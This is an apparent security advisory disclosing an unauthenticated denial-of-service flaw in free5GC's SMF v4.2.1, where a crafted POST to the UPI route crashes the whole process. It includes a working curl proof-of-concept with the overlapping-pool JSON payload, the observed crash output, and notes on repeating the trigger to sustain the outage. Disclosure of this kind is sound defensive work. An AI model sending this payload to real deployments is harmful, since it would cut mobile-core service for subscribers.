Summary
free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.
Details
Validated against the SMF container in the official Docker compose lab.
- Source repo tag:
v4.2.1
- Running Docker image:
free5gc/smf:v4.2.1
- Runtime SMF commit:
8385c00a
- Docker validation date: 2026-03-22 local (container log timestamp
2026-03-21T23:47:07Z)
- SMF endpoint:
http://10.100.200.6:8000
The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:
Vulnerable handler dispatches into topology parsing:
POST /upi/v1/upNodesLinks
-> UpNodesFromConfiguration()
-> isOverlap(allUEIPPools)
-> logger.InitLog.Fatalf("overlap cidr value between UPFs")
Code evidence (paths in free5gc/smf):
- UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):
NFs/smf/internal/sbi/server.go:76NFs/smf/internal/sbi/server.go:78
- Create-or-update handler accepts attacker JSON and forwards it to
UpNodesFromConfiguration():
NFs/smf/internal/sbi/api_upi.go:60NFs/smf/internal/sbi/api_upi.go:72
- Pool parsing (input from attacker JSON):
NFs/smf/internal/context/user_plane_information.go:413
- Overlap check that calls
Fatalf:
NFs/smf/internal/context/user_plane_information.go:479
The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler:
NFs/smf/internal/context/user_plane_information.go:416NFs/smf/internal/context/user_plane_information.go:424NFs/smf/internal/context/user_plane_information.go:430
PoC
Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
- Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (
10.60.0.0/16):
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
-H 'Content-Type: application/json' \
--data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'
Client-side observation (server died mid-request, no HTTP response written):
curl: (52) Empty reply from server
- Confirm the SMF container exited:
docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}'
smf Exited (1) 9 seconds ago
- SMF container logs (
docker logs --tail 80 smf) show the FATA line that terminated the process:
[FATA][SMF][Init] overlap cidr value between UPFs
Impact
Unauthenticated process-kill DoS on the SMF management plane.
- Missing inbound authentication (CWE-306) and authorization (CWE-862) on the
UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.
- Reachable assertion / fail-fast (CWE-617): topology parsing calls
logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.
Any party that can reach SMF on the SBI can:
- Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.
- Repeat the trigger after every restart to sustain the outage.
- Use sibling
Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.
No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/906
Upstream fix: https://github.com/free5gc/smf/pull/203
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